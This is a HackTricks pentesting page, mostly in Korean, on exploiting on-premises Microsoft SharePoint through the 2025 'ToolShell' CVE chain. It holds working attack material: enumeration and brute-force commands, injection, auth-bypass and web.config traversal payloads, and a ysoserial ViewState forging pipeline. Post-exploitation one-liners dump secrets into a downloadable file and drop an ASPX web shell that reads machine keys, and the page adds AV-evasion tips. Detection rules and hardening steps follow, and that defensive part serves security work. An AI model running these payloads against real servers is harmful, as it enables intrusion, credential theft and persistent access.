Microsoft SharePoint – Pentesting & Exploitation
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Microsoft SharePoint (온프레미스)는 ASP.NET/IIS 위에 구축되어 있습니다. 따라서 대부분의 고전적인 웹 공격 표면(ViewState, Web.Config, 웹 셸 등)이 존재하지만, SharePoint는 수백 개의 독점 ASPX 페이지와 웹 서비스를 함께 제공하여 노출된 공격 표면을 크게 확장합니다. 이 페이지는 Unit42에 의해 공개된 2025 exploit chain(CVE-2025-49704/49706/53770/53771)에 중점을 두고 SharePoint 환경 내에서 열거, 악용 및 지속하는 실용적인 요령을 수집합니다.
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 exploit chain (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – ToolPane.aspx에서의 코드 주입
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>
는 페이지에 임의의 Server-Side Include 코드를 주입할 수 있게 하며, 이는 나중에 ASP.NET에 의해 컴파일됩니다. 공격자는 Process.Start()
를 실행하는 C#을 삽입하고 악성 ViewState를 드롭할 수 있습니다.
2.2 CVE-2025-49706 – 부적절한 인증 우회
같은 페이지는 사이트 컨텍스트를 결정하기 위해 X-Forms_BaseUrl 헤더를 신뢰합니다. 이를 /_layouts/15/
로 지정하면, 루트 사이트에서 강제된 MFA/SSO를 인증되지 않은 상태로 우회할 수 있습니다.
2.3 CVE-2025-53770 – 인증되지 않은 ViewState 역직렬화 → RCE
공격자가 ToolPane.aspx
에서 가젯을 제어하게 되면, .NET 역직렬화를 유발하는 서명되지 않은 (또는 MAC 전용) __VIEWSTATE
값을 게시할 수 있으며, 이는 w3wp.exe 내에서 코드 실행으로 이어집니다.
서명이 활성화된 경우, 임의의 web.config
에서 ValidationKey/DecryptionKey를 훔치고 ysoserial.net 또는 ysodom을 사용하여 페이로드를 위조하십시오.
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
For an in-depth explanation on abusing ASP.NET ViewState read:
{{#ref}}
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
{{#endref}}
2.4 CVE-2025-53771 – 경로 탐색 / web.config 노출
ToolPane.aspx
에 조작된 Source
매개변수(예: ../../../../web.config
)를 보내면 대상 파일이 반환되어 다음과 같은 정보가 유출됩니다:
<machineKey validationKey="…" decryptionKey="…">
➜ ViewState / ASPXAUTH 쿠키 위조- 연결 문자열 및 비밀.
3. 실제에서 관찰된 포스트 익스플로잇 레시피
3.1 모든 .config 파일 추출 (변형-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
결과적으로 생성된 debug_dev.js
는 익명으로 다운로드할 수 있으며 모든 민감한 구성을 포함합니다.
3.2 Base64로 인코딩된 ASPX 웹 셸 배포 (변형-2)
powershell.exe -EncodedCommand <base64>
디코딩된 페이로드 예시 (축약됨):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
작성 대상:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
쉘은 머신 키를 읽고 회전하는 엔드포인트를 노출하여 ViewState 및 ASPXAUTH 쿠키를 농장 전역에서 위조할 수 있게 합니다.
3.3 난독화된 변형 (variation-3)
같은 쉘이지만:
...\15\TEMPLATE\LAYOUTS\
아래에 배치됨- 변수 이름이 단일 문자로 축소됨
- 샌드박스 회피 및 타이밍 기반 AV 우회를 위해
Thread.Sleep(<ms>)
추가됨.
4. 탐지 아이디어
텔레메트리 | 의심스러운 이유 |
---|---|
w3wp.exe → cmd.exe | 워커 프로세스는 드물게 쉘을 생성해야 함 |
cmd.exe → powershell.exe -EncodedCommand | 고전적인 lolbin 패턴 |
debug_dev.js 또는 spinstall0.aspx 파일 이벤트 생성 | ToolShell에서 직접 가져온 IOC |
ProcessCmdLine CONTAINS ToolPane.aspx (ETW/모듈 로그) | 공개 PoC가 이 페이지를 호출함 |
예시 XDR / Sysmon 규칙 (의사-XQL):
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
5. 강화 및 완화
- 패치 – 2025년 7월 보안 업데이트가 모든 네 개의 CVE를 수정합니다.
- 회전 – 손상된 후 모든
<machineKey>
및ViewState
비밀을 회전합니다. WSS_WPG
및WSS_ADMIN_WPG
그룹에서 LAYOUTS 쓰기 권한을 제거합니다.- 프록시/WAF 수준에서
/_layouts/15/ToolPane.aspx
에 대한 외부 접근을 차단합니다. - ViewStateUserKey, MAC 활성화, 및 사용자 정의 EventValidation을 활성화합니다.
관련 트릭
- IIS 사후 활용 및 web.config 남용: {{#ref}} ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md {{#endref}}
참고 문헌
- Unit42 – Microsoft SharePoint 취약점의 능동적 악용
- GitHub PoC – ToolShell 익스플로잇 체인
- Microsoft 보안 권고 – CVE-2025-49704 / 49706
- Microsoft 보안 권고 – CVE-2025-53770 / 53771
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.